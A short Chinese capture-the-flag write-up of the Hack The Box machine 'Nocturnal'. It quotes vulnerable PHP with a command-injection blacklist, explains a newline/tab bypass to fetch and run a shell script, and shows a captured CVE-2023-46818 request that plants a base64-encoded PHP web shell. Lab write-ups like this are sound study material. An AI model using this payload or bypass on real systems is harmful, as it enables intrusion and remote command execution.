HTB_Nocturnal
linux(eazy)
总结
user.txt
参数值FUZZ->源码审计->命令执行绕过->db文件利用
root.txt
CVE-2023-46818
代码部分
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
...
functioncleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_charsas$char) {
if (strpos($entry, $char) !== false) {
returnfalse; // Malicious input detected
}
}
returnhtmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
没有禁换行n
和tabt
,所以可以尝试,远程下载sh+bash启动sh文件
通过bp抓包才知道,当在web用%0a和%09绕过不起作用时,是因为会字典再加一层url编码,所以需要用bp直接用
参考
wp
https://4xura.com/ctf/htb/htb-writeup-nocturnal/
https://github.com/advisories/GHSA-qfc7-gwmc-9vvr
https://sploitus.com/exploit?id=C8C641AC-8810-5B1B-878E-D064A44248BB
https://nvd.nist.gov/vuln/detail/CVE-2023-46818
https://github.com/bipbopbup/CVE-2023-46818-python-exploit
从效果来看,是通过edit接口,和records参数,写了一个php文件到根目录里,再访问该php即可反弹
抓了个包,是这样
lang=en&module=help&lang_file=lOvbMvEb.lng&_csrf_id=language_edit_61d6787cdf85f0704b9eb317&_csrf_key=9469c7aa7d0d24ea10c9fb31f7300bfa7166f892&records[]='];file_put_contents('sh.php',base64_decode('PD9waHAgcHJpbnQoJ19fX18nKTsgcGFzc3RocnUoYmFzZTY0X2RlY29kZSgkX1NFUlZFUlsnSFRUUF9DJ10pKTsgcHJpbnQoJ19fX18nKTsgPz4='));die;#
至于具体原理嘛。。。。。。算了 /(ㄒoㄒ)/~~
原文始发于微信公众号(羽泪云小栈):HTB_Nocturnal
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论